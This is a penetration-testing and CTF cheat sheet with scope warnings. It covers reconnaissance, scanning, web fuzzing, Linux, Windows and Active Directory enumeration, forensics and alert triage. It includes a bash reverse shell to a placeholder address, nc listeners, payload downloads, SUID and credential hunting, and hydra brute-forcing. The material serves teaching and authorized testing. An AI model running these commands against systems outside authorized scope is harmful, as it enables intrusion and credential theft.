Cheat sheets

First-pass DNS, ownership, TLS, and HTTP checks before deeper enumeration.

Run only against lab targets, owned assets, or approved scope.

whois example.com

dig example.com A AAAA MX TXT NS +short

nslookup example.com 1.1.1.1

curl -I https://example.com

• Write down scope boundaries before scanning.
• Compare DNS results across resolvers when answers look inconsistent.
• Headers can reveal proxies, framework hints, cookies, and security controls.

A compact scan ladder for CTF and authorized pentest service discovery.

sudo nmap -Pn -sS --top-ports 1000 -oA scans/quick TARGET_IP

sudo nmap -Pn -p- --min-rate 5000 -oA scans/all TARGET_IP

sudo nmap -Pn -sCV -p PORTS -oA scans/services TARGET_IP

sudo nmap -Pn -sU --top-ports 50 -oA scans/udp TARGET_IP

• Use `-oA` so you keep normal, grepable, and XML output.
• Do not treat a fast scan as complete coverage.
• UDP scans are slower. Start small, then expand when needed.

HTTP checks for vhosts, responses, source hints, and authenticated workflow mapping.

curl -i http://target.local/

curl -H "Host: app.target.local" -i http://TARGET_IP/

curl -s http://target.local/ | grep -Eoi '(href|src)="[^"]+' | cut -d'"' -f2 | sort -u

curl -s http://target.local/ -o page.html

• Map application roles and state-changing requests in Burp before testing.
• Review JavaScript for API paths, feature flags, and client-side route names.
• Use placeholders in notes until you verify exact endpoints.

Safe discovery patterns for routes, extensions, and virtual hosts.

Tune rate limits for production tests and follow the engagement rules.

ffuf -u http://target.local/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc all -fc 404

ffuf -u http://TARGET_IP/ -H "Host: FUZZ.target.local" -w subdomains.txt -fs SIZE_TO_FILTER

gobuster dir -u http://target.local/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak

feroxbuster -u http://target.local/ -w /usr/share/wordlists/dirb/common.txt -x php,txt --rate-limit 25

• Filter by status, size, and words after getting a baseline 404.
• Record wordlist and filters so findings are reproducible.
• Avoid blind recursive fuzzing on fragile or out-of-scope systems.

Evidence-driven vulnerability research without inventing affected versions or exploitability.

"PRODUCT" "VERSION" CVE advisory

"CVE-YYYY-NNNN" exploit PoC analysis

"PRODUCT" "VERSION" fixed in security advisory

• Placeholder format: CVE-YYYY-NNNN, vendor advisory, affected version, fixed version, CVSS, CWE, exploitability notes, patch status.
• Prefer vendor advisories and primary sources before blog posts.
• Confirm whether the vulnerable feature is reachable in your target context.

A repeatable way to evaluate public PoCs before using them in a lab.

Read code before running it. Treat public PoCs as untrusted software.

grep -RniE "curl|wget|socket|subprocess|os.system|exec|eval|base64" ./poc-directory

python3 -m venv .venv && source .venv/bin/activate

docker run --rm -it --network none IMAGE_NAME /bin/bash

• Validate target version, configuration, authentication state, and reachable attack surface.
• Prefer reproducing the vulnerable condition over blind exploit execution.
• Keep exploit artifacts separated from client or personal files.

Low-noise local checks after an authorized shell in a CTF or lab.

id; hostname; uname -a; cat /etc/os-release 2>/dev/null

sudo -l

find / -perm -4000 -type f 2>/dev/null

getcap -r / 2>/dev/null

find / -writable -type d 2>/dev/null | grep -vE "^/proc|^/sys|^/dev"

• Check config files for credentials before reaching for kernel exploits.
• Correlate cron jobs with writable scripts and PATH assumptions.
• Document every privilege boundary crossed.

Windows local enumeration commands for labs and approved testing.

whoami /all

systeminfo

wmic service get name,displayname,pathname,startmode | findstr /i "auto"

schtasks /query /fo LIST /v

Get-ChildItem Env:Path; Get-LocalUser 2>$null

• Look for service paths, weak file permissions, and credential reuse.
• Confirm OS build before researching local privilege escalation CVEs.
• Avoid changing services until you understand recovery impact.

Domain discovery and graph collection flow for authorized AD labs.

Only enumerate domains where you have written authorization.

whoami /fqdn && nltest /dsgetdc:DOMAIN.LOCAL

ldapsearch -x -H ldap://DC_IP -s base namingcontexts

kerbrute userenum --dc DC_IP -d DOMAIN.LOCAL users.txt

bloodhound-python -d DOMAIN.LOCAL -u USER -p PASS -ns DC_IP -c All

• Start with domain, DC, DNS, and time sync checks.
• Use graph tools to reason about relationships, not as a replacement for validation.
• Store credentials and collection output securely.

Common lab shell patterns with explicit placeholder values.

Use these only in CTF, lab, or approved testing environments.

nc -lvnp 4444

bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'

python3 -c 'import pty; pty.spawn("/bin/bash")'

export TERM=xterm; stty rows 40 cols 120

• Replace YOUR_IP with your VPN or lab interface address.
• Prefer stable, logged, authorized access methods when available.
• Record where the shell came from and which user context it runs under.

Simple transfer patterns for moving tools, logs, and evidence in labs.

python3 -m http.server 8000

curl -O http://YOUR_IP:8000/file.txt

wget http://YOUR_IP:8000/file.txt -O file.txt

iwr http://YOUR_IP:8000/file.txt -OutFile file.txt

scp file.txt user@TARGET_IP:/tmp/file.txt

• Hash evidence before and after transfer when integrity matters.
• Avoid placing tools in sensitive production directories.
• Remove temporary listeners when finished.

Controlled hash cracking and password audit commands for authorized scenarios.

Do not test credentials against systems outside written scope.

hashid hash.txt

hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --username

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

hydra -L users.txt -P passwords.txt TARGET_IP ssh -t 4 -V

• Prefer offline hash cracking when hashes are legitimately obtained.
• Rate-limit online tests and follow lockout policies.
• Never store recovered passwords in public reports unless explicitly required and sanitized.

Fast triage commands for files, metadata, strings, memory, and timelines.

file sample.bin

strings -a sample.bin | less

exiftool evidence.jpg

sha256sum evidence.*

volatility3 -f memory.raw windows.info

• Work from a copy, not original evidence.
• Keep timestamps, timezone, and hash values attached to each artifact.
• Build a timeline before jumping to conclusions.

Static-first workflow for safe lab analysis and behavior mapping.

Analyze only in an isolated malware lab with no shared clipboard or mounted personal folders.

sha256sum sample.bin && md5sum sample.bin

strings -a -n 6 sample.bin | tee strings.txt

pefile sample.exe

yara -r rules.yar sample-directory/

• Flow: static review, controlled dynamic run, behavior notes, MITRE mapping, detection ideas.
• Never run unknown samples on your host OS.
• Document network indicators without beaconing to real infrastructure.

Triage prompts and query placeholders for alert review and detection engineering.

grep -Eio "([0-9]{1,3}\.){3}[0-9]{1,3}|[a-f0-9]{64}|https?://[^ ]+" alert.log | sort -u

grep -i "failed password" /var/log/auth.log | tail -50

sigma-cli convert -t splunk rule.yml

yara -r detection-rules.yar samples/

• Triage: validate alert, scope blast radius, extract IOCs, map tactics, contain, preserve evidence.
• Separate observed facts from assumptions.
• Tune detections with known-good activity before broad deployment.

High-signal references for daily CTF, lab, and defensive research work.

site:docs.vendor.com PRODUCT VERSION security advisory

"PRODUCT" "VERSION" "CVE-YYYY-NNNN"

• Use public references for structure, then write your own notes from verified lab evidence.
• Keep links current during report finalization.
• Do not paste massive payload lists into writeups without context.